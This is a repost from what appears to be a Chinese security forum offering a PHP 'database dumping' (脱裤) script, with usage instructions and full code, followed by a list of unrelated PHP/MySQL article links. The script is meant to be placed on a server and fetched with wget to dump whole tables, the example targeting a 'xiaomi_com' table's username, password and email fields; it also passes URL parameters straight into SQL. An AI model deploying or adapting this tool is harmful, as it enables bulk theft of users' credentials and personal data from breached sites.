脚本参考了 LCX Gavin2位前辈的帖子.在此表示非常的感谢.

https://www.t00ls.net/thread-26740-1-1.html

https://www.t00ls.net/thread-26791-1-1.html

说明:脚本支持PDO和MYSQL 2种方式 优先使用PDO .如果服务器不支持PDO  就选择MYSQL 方式. 个人认为  PDO 的好处有效率高  代码简洁 通用性好  这代码稍作改动就可以拿去脱mssql

不过用php和mssql组合的应该不多- -!

使用方法  首先要脚本中配置好主机地址 端口 数据库名称 用户名  密码 以及数据库的编码方式(常用GPK 或者UTF8 设置不对中文字段可能会出现乱码);

然后就是构造wget的url地址:参数由$_GET传递到服务器

t=                          //必须 表名 否则程序会退出

f=                        //可选   需要脱的字段 通过英文逗号分割

s=                       //可选  起始位置  如未设置从0开始

e=                      //可选   结束位置  如果未设置为全部数据

l=                         //可选 分段长度  默认设置为5000

在shell终端下执行 wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 然后坐等下载

代码:

<?php
//使用方法: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt
//借鉴了 LCX Gavin 2大前辈的脚本.
// LCX [url=https://www.t00ls.net/thread-26740-1-1.html]https://www.t00ls.net/thread-26740-1-1.html[/url]
// Gavin [url=https://www.t00ls.net/thread-26791-1-1.html]https://www.t00ls.net/thread-26791-1-1.html[/url]
// error_reporting(0);
ignore_user_abort();
set_time_limit(0);
ob_clean(); define('DB_HOST', '127.0.0.1');
define('DB_PORT','3306');
define('DB_NAME', 'thinkphp');
define('DB_USER', 'root');
define('DB_PASS', 'wanan');
define('DB_CHAR', 'utf8'); $type=class_exists('PDO')?'PDO':'MYSQL';
$table=$_GET['t']?$_GET['t']:die('表名必须!'); //表名 必须 t
$limit_start=$_GET['s']?intval($_GET['s']):0; //开始条数 可选 s 默认为0
$limit_end=$_GET['e']?intval($_GET['e']):0; //结束条数 可选 e 默认为所有
$limit_length=$_GET['l']?intval($_GET['l']):5000; //分段条数 可选 l 默认为5000
$filed=$_GET['f']?$_GET['f']:'*'; //字段名 可选 f 用,分割没有则为全部字段 if($type=='PDO'){
$dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME;
$options = array(
PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR,
);
try{
$dbh = new PDO($dsn,DB_USER,DB_PASS,$options);
}catch (PDOException $e) {
die('PDO ERROR!');
}
$sql='SELECT COUNT(-1) FROM `'.$table.'`;';
$do=$dbh->query($sql);
if($do){
$count=$do->fetch();
}else{
die('PDO COUNT ERROR');
}
$limit_end=($limit_end)?$limit_end:$count[0];
$limit_end=$limit_end-$limit_start;
$limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
$section=ceil($limit_end/$limit_length);
if (ob_get_level() == 0){
ob_start();
}else{
die('PDO ERROR');
}
for($i=0;$i<$section;$i++){
$sql='SELECT '.$filed.' FROM '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
$s=$dbh->query($sql);
$arr=$s->fetchALL(PDO::FETCH_ASSOC);
foreach ($arr as $value) {
echo(implode(' ', $value)."\n");
}
ob_end_flush();
} }else{
$link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS);
if($link){
mysql_select_db(DB_NAME,$link);
mysql_query('SET NAMES '.DB_CHAR);
$sql='SELECT COUNT(-1) FROM `'.$table.'`;';
$count=mysql_fetch_array(mysql_query($sql));
$limit_end=($limit_end)?$limit_end:$count[0];
$limit_end=$limit_end-$limit_start;
$limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
$section=ceil($limit_end/$limit_length);
if (ob_get_level() == 0){
ob_start();
}else{
die('MYSQL ERROR');
}
for($i=0;$i<$section;$i++){
$sql='SELECT '.$filed.' FROM '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
$a=mysql_query($sql);
if($b=mysql_fetch_row($a)){
do{
echo(implode(' ', $b)."\n");
}while($b=mysql_fetch_row($a));
}
ob_end_flush();
}
}else{
die('MYSQL ERROR!');
} } ?>

PHP wget 增强脱裤脚本(PDO MYSQL)的更多相关文章

  1. Centos中安装PHP的PDO MySQL扩展的教程

    PHP Data Objects(PDO)扩展为 PHP 访问数据库定义了一个轻量级的一致接口.实现 PDO 接口的每个数据库驱动可以公开具体数据库的特性作为标准扩展功能.注意利用 PDO 扩展自身并 ...

  2. php PDO mysql

    php PDO写法连接mysql: $db=new PDO("mysql:host=localhost;dbname=sql","root","roo ...

  3. inux php pdo mysql 扩展

    今天在本机部署了一个pdo项目,发现一些问题,真没想到pdo mysql,不容易装啊,哈哈,我说的不容易,是因为php5.3以前版本,yum源里面根本没有.部署后就报,Undefined class ...

  4. php pdo mysql存入转义

    php pdo mysql存入转义 因为存入html都是自动转义 相当于PHP的htmlspecialchars 所以读取的时候要加htmlspecialchars_decode

  5. pdo mysql错误:Cannot execute queries while other unbuffered queries are active

    运行环境:PHP 5.5.30-x64,MYSQL  5.6.27 错误代码:Cannot execute queries while other unbuffered queries are act ...

  6. php pdo mysql数据库操作类

    <?php namespace iphp\core; use iphp\App; /** * 数据库操作基类 基于pdo * @author xuen * 支持链式操作,支持参数绑定 * 说明1 ...

  7. pdo mysql连接时报[2002] No such file or directory

    将PDO连接中的dsn的host由“localhost”改为“127.0.0.1”即可

  8. PHP连接MySQL数据库的三种方式(mysql、mysqli、pdo)

    PHP与MySQL的连接有三种API接口,分别是:PHP的MySQL扩展 .PHP的mysqli扩展 .PHP数据对象(PDO) ,下面针对以上三种连接方式做下总结,以备在不同场景下选出最优方案. P ...

  9. PHP中MySQL、MySQLi和PDO的用法和区别

    PHP的MySQL扩展(优缺点) 设计开发允许PHP应用与MySQL数据库交互的早期扩展.mysql扩展提供了一个面向过程 的接口: 并且是针对MySQL4.1.3或更早版本设计的.因此,这个扩展虽然 ...

随机推荐

  1. C++ traits

    [本文链接] http://www.cnblogs.com/hellogiser/p/cplusplus-traits.html [分析] 什么是traits?其实它并不是一个新的概念,上个世纪90年 ...

  2. 101 个 MySQL 的调节和优化的提示(根据实际情况调整,有些已经不适用)

    英文原文:101 Tips to MySQL Tuning and Optimization ( July 12, 2011)翻译:http://www.oschina.net/translate/1 ...

  3. DisJSet:Wireless Network(POJ 2236)

      无线电网络 题目大意:就是地震后,所有的电脑都坏了,现在可以修复,而且要重新连成一个网络,两台电脑之间最大连接距离为D,两台电脑可以有中继电脑,按O修复电脑,按S测试两台电脑是否有链接,如果有就输 ...

  4. windows电脑变成wifi热点命令

    netsh wlan set hostednetwork mode=allow ssid=WIFI_NAME key="abcdefgh" netsh wlan start hos ...

  5. 桶排序(bucket sort)

    Bucket Sort is a sorting method that subdivides the given data into various buckets depending on cer ...

  6. .pro配置选项

    在Qt Creator的项目中添加头文件和库   在Qt Creator中的工程中,工程通过.pro文件管理. 额外需要连接的连接库 unix:LIBS += -L your_lib_path -ly ...

  7. 使用ASP.NET 5开发AngularJS应用

    今天推荐的是一个系列文章,讲述了如何使用ASP.NET 5来开发AngularJS应用,一共7篇文章. 在Visual Studio 2015中由于优化了项目结构,优化了前端JS框架的引用方式,所以开 ...

  8. MATLAB学习笔记(十一)——MATLAB图形用户界面设计

    (一)菜单设计 一.建立用户菜单 1.概况: 用户菜单一般含有一级菜单和二级菜单,乃至多级菜单.每一级菜单又包含多个菜单项.建立菜单可以使用uimenu函数. 2.uimenu函数调用: %建立一级菜 ...

  9. 2016.6.23 PHP实现新闻发布系统主体部分

    1.新闻发布系统的列表: <html><meta http-equiv="Content-Type" content="text/html; chars ...

  10. SU suspecfk命令学习

    用suplane生成平面,并查看其FK谱, 水平反射界面经FK变换后,波数为0, 正好处于临界,乃奎斯特频率, 有空间假频, Over,不足之处,欢迎批评指正.